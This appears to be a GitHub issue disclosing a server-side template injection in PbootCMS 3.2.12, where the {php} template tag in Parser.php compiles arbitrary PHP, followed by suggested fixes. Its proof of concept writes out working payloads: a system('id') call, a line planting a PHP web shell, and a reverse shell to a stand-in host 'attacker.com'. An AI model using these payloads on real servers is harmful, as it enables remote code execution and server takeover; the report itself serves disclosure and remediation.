Skip to content

PbootCMS 3.2.12 - Server-Side Template Injection #6

@cyl-love

Description

@cyl-love

supplier

https://github.com/hnaoyun/PbootCMS

Vulnerability file

core/view/Parser.php

describe

Code analysis

The template parser in Parser.php allows {php}...{/php} tags that execute arbitrary PHP code:

// Line 410-416
// 原生PHP代码{php}...{/php}
private static function parPhp()
{
    $pattern = '/\{php\}([\s\S]*?)\{\/php\}/';
    if (preg_match($pattern, self::$content)) {
        self::$content = preg_replace($pattern, "<?php  $1?>", self::$content);
    }
}

The $1 capture group contains arbitrary PHP code that is directly inserted into the compiled template file.

If an attacker can control template content (via admin panel template editor, file upload, or other means), they can achieve Remote Code Execution.

POC

Step 1: Access template editor (requires admin)

Navigate to: /admin.php/upgrade or template management

Step 2: Inject malicious template code

Edit any template file (e.g., header.html) and add:

{php}system('id');{/php}

Step 3: Trigger template parsing

Access any page that uses the modified template.

Step 4: Observe RCE

The output will show:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced payload - Webshell creation:

{php}file_put_contents('shell.php', '<?php system($_GET["cmd"]);?>');{/php}

Then access: /shell.php?cmd=id

Reverse shell payload:

{php}$sock=fsockopen('attacker.com',4444);exec('/bin/sh -i <&3 >&3 2>&3');{/php}

Impact

  • Remote Code Execution (RCE)
  • Complete server compromise
  • Data exfiltration
  • Lateral movement in internal network
  • Persistence via backdoor installation

Attack Scenarios

  1. Compromised Admin Account: Attacker gains admin access, modifies templates
  2. Template File Upload: If template upload is allowed without validation
  3. Plugin/Theme Installation: Malicious plugins containing template code
  4. Backup Restoration: Attacker injects code into backup files

Fix suggestion

// Option 1: Disable {php} tag completely
private static function parPhp()
{
    // Remove or comment out this function
    return false;
}

// Option 2: Restrict to super admin only
private static function parPhp()
{
    if (!session('pboot_super_admin')) {
        return false;
    }
    $pattern = '/\{php\}([\s\S]*?)\{\/php\}/';
    if (preg_match($pattern, self::$content)) {
        self::$content = preg_replace($pattern, "<?php  $1?>", self::$content);
    }
}

// Option 3: Sandbox PHP execution
private static function parPhp()
{
    $pattern = '/\{php\}([\s\S]*?)\{\/php\}/';
    if (preg_match($pattern, self::$content)) {
        self::$content = preg_replace($pattern, "<?php // PHP execution disabled ?>", self::$content);
    }
}

Additional Recommendations

  1. Remove {php} tag functionality entirely
  2. Use secure template engine (Twig, Blade) with sandbox mode
  3. Implement template integrity checking
  4. Log all template modifications
  5. Require 2FA for template editing

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions